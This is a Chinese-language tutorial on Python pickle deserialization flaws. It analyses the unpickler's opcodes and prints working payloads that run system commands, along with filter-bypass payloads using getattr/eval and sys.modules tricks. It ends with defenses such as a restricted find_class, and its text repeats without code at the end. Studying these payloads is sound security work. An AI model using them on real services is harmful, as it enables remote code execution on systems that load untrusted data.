Pickle反序列化源码分析与漏洞利用
字数 1042 2025-08-18 11:35:42

Python Pickle反序列化漏洞分析与利用

1. Pickle反序列化基础

1.1 Pickle序列化/反序列化基本使用

Pickle是Python中用于对象序列化的模块,可以将Python对象转换为字节流(序列化),也可以从字节流重建对象(反序列化)。

import pickle

class Animal:
    def __init__(self, animal):
        self.animal = animal

# 序列化
test = pickle.dumps(Animal("dog"))
print(test)  # b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00animalq\x03X\x03\x00\x00\x00dogq\x04sb.'

# 反序列化
obj = pickle.loads(test)
print(obj.animal)  # 输出: dog

1.2 反序列化过程分析

Pickle反序列化的核心是_Unpickler类的load()方法,它通过操作码(opcode)来执行不同的操作:

def _loads(s, *, fix_imports=True, encoding="ASCII", errors="strict"):
    if isinstance(s, str):
        raise TypeError("Can't load pickle from unicode string")
    file = io.BytesIO(s)
    return _Unpickler(file, fix_imports=fix_imports,
                      encoding=encoding, errors=errors).load()

反序列化过程主要步骤:

  1. 读取操作码
  2. 通过dispatch字典查找对应的处理函数
  3. 执行处理函数
  4. 操作栈和备忘录(memo)来构建对象

2. Pickle反序列化漏洞原理

Pickle反序列化的危险性在于它本质上是一个小型虚拟机,可以执行任意Python代码。攻击者可以构造恶意的序列化数据,在反序列化时执行任意命令。

2.1 关键操作码分析

2.1.1 c (GLOBAL) 操作码

用于导入模块和类:

def load_global(self):
    module = self.readline()[:-1].decode("ascii")
    name = self.readline()[:-1].decode("ascii")
    klass = self.find_class(module, name)
    self.append(klass)

2.1.2 R (REDUCE) 操作码

用于执行函数调用:

def load_reduce(self):
    stack = self.stack
    args = stack.pop()
    func = stack[-1]
    stack[-1] = func(*args)

2.1.3 i (INST) 操作码

用于实例化对象并调用方法:

def load_inst(self):
    module = self.readline()[:-1].decode("ascii")
    name = self.readline()[:-1].decode("ascii")
    klass = self.find_class(module, name)
    self._instantiate(klass, self.pop_mark())

2.1.4 o (OBJ) 操作码

用于构建对象:

def load_obj(self):
    args = self.pop_mark()
    cls = args.pop(0)
    self._instantiate(cls, args)

2.1.5 b (BUILD) 操作码

用于设置对象属性:

def load_build(self):
    stack = self.stack
    state = stack.pop()
    inst = stack[-1]
    setstate = getattr(inst, "__setstate__", None)
    if setstate is not None:
        setstate(state)
        return
    inst.__dict__.update(state)

3. 漏洞利用技术

3.1 全局变量引入

通过c操作码引入全局变量:

import pickle
import secret

class Animal:
    def __init__(self):
        self.animal = "dog"
    def check(self):
        if self.animal == secret.best:
            print("good!")

payload = b'\x80\x03c__main__\nAnimal\nq\x00)\x81q\x01}q\x02X\x06\x00\x00\x00animalq\x03csecret\nbest\nq\x04sb.'
pickle.loads(payload)

3.2 全局变量修改

通过修改sys.modules来改变模块行为:

payload = b'\x80\x03c__main__\nsecret\nq\x00q\x01}X\x04\x00\x00\x00bestX\x03\x00\x00\x00dogsb0c__main__\nAnimal\n)\x81}X\x06\x00\x00\x00animalX\x03\x00\x00\x00dogsb.'

3.3 函数执行技术

3.3.1 使用i操作码执行命令

payload = b'(X\x06\x00\x00\x00whoamiios\nsystem\n.'

3.3.2 使用R操作码执行命令

payload = b'cos\nsystem\nX\x06\x00\x00\x00whoami\x85R.'

3.3.3 使用o操作码执行命令

payload = b'(cos\nsystem\nX\x06\x00\x00\x00whoamio.'

3.3.4 使用b操作码和__setstate__执行命令

payload = b'\x80\x03c__main__\nAnimal\n)\x81}X\x0C\x00\x00\x00__setstate__cos\nsystem\nsbX\x06\x00\x00\x00whoamib.'

4. WAF绕过技术

4.1 黑名单绕过

使用builtins.getattr绕过函数导入限制:

# R操作码版本
payload = b'\x80\x03cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00get\x86Rp2\n0g2\ncbuiltins\nglobals\n)RX\x0C\x00\x00\x00__builtins__\x86Rp3\n0g0\ng3\nX\x04\x00\x00\x00eval\x86Rp4\n0g4\nX\x21\x00\x00\x00__import__("os").system("whoami")\x85R.'

# o操作码版本
payload = b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("whoami")o.'

4.2 绕过域名空间限制

通过修改sys.modules来绕过限制:

# R操作码版本
payload = b'csys\nmodules\np0\nX\x03\x00\x00\x00sysg0\nscsys\nget\np1\ng1\nX\x02\x00\x00\x00os\x85Rp2\ng0\nX\x03\x00\x00\x00sysg2\nscsys\nsystem\nX\x06\x00\x00\x00whoami\x85R.'

# o操作码版本
payload = b'csys\nmodules\np0\nX\x03\x00\x00\x00sysg0\ns(csys\nget\np1\nX\x02\x00\x00\x00osop2\ng0\nX\x03\x00\x00\x00sysg2\ns(csys\nsystem\nX\x06\x00\x00\x00whoamio.'

5. 防御措施

  1. 避免反序列化不可信数据:这是最根本的解决方案

  2. 使用更安全的序列化格式:如JSON

  3. 重写find_class方法:限制可反序列化的类

import pickle

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        # 只允许从特定模块加载安全类
        if module == '__main__':
            return super().find_class(module, name)
        raise pickle.UnpicklingError(f"global '{module}.{name}' is forbidden")

def restricted_loads(s):
    return RestrictedUnpickler(io.BytesIO(s)).load()
  1. 使用签名验证:对序列化数据进行签名,确保数据未被篡改

6. 总结

Pickle反序列化漏洞是Python中一个严重的安全问题,攻击者可以通过精心构造的序列化数据执行任意代码。理解Pickle的工作机制和各种操作码的作用是防御此类攻击的关键。在实际开发中,应尽量避免反序列化不可信数据,或实施严格的访问控制和安全检查。

Python Pickle反序列化漏洞分析与利用 1. Pickle反序列化基础 1.1 Pickle序列化/反序列化基本使用 Pickle是Python中用于对象序列化的模块,可以将Python对象转换为字节流(序列化),也可以从字节流重建对象(反序列化)。 1.2 反序列化过程分析 Pickle反序列化的核心是 _Unpickler 类的 load() 方法,它通过操作码(opcode)来执行不同的操作: 反序列化过程主要步骤: 读取操作码 通过 dispatch 字典查找对应的处理函数 执行处理函数 操作栈和备忘录(memo)来构建对象 2. Pickle反序列化漏洞原理 Pickle反序列化的危险性在于它本质上是一个小型虚拟机,可以执行任意Python代码。攻击者可以构造恶意的序列化数据,在反序列化时执行任意命令。 2.1 关键操作码分析 2.1.1 c (GLOBAL) 操作码 用于导入模块和类: 2.1.2 R (REDUCE) 操作码 用于执行函数调用: 2.1.3 i (INST) 操作码 用于实例化对象并调用方法: 2.1.4 o (OBJ) 操作码 用于构建对象: 2.1.5 b (BUILD) 操作码 用于设置对象属性: 3. 漏洞利用技术 3.1 全局变量引入 通过 c 操作码引入全局变量: 3.2 全局变量修改 通过修改 sys.modules 来改变模块行为: 3.3 函数执行技术 3.3.1 使用 i 操作码执行命令 3.3.2 使用 R 操作码执行命令 3.3.3 使用 o 操作码执行命令 3.3.4 使用 b 操作码和 __setstate__ 执行命令 4. WAF绕过技术 4.1 黑名单绕过 使用 builtins.getattr 绕过函数导入限制: 4.2 绕过域名空间限制 通过修改 sys.modules 来绕过限制: 5. 防御措施 避免反序列化不可信数据 :这是最根本的解决方案 使用更安全的序列化格式 :如JSON 重写find_ class方法 :限制可反序列化的类 使用签名验证 :对序列化数据进行签名,确保数据未被篡改 6. 总结 Pickle反序列化漏洞是Python中一个严重的安全问题,攻击者可以通过精心构造的序列化数据执行任意代码。理解Pickle的工作机制和各种操作码的作用是防御此类攻击的关键。在实际开发中,应尽量避免反序列化不可信数据,或实施严格的访问控制和安全检查。